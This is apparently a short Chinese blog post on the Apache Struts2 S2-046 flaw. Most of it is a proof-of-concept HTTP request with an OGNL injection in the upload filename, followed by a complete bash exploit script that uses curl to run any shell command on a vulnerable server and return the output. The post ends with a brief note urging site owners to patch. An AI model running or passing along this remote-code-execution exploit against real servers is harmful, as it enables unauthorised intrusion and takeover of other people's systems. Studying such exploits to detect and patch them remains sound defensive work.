据说045补了之后046就没用了,感觉影响没045这么犀利了……
POC:(来源于:https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723# )
POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
EXP:
exploit-db.sh:(来源于:https://github.com/jas502n/st2-046-poc)
#!/bin/bash url=$1 cmd=$2 shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
3.友情检测:
此exp可以利用。
希望广大站长及时修补漏洞,避免不必要的损失。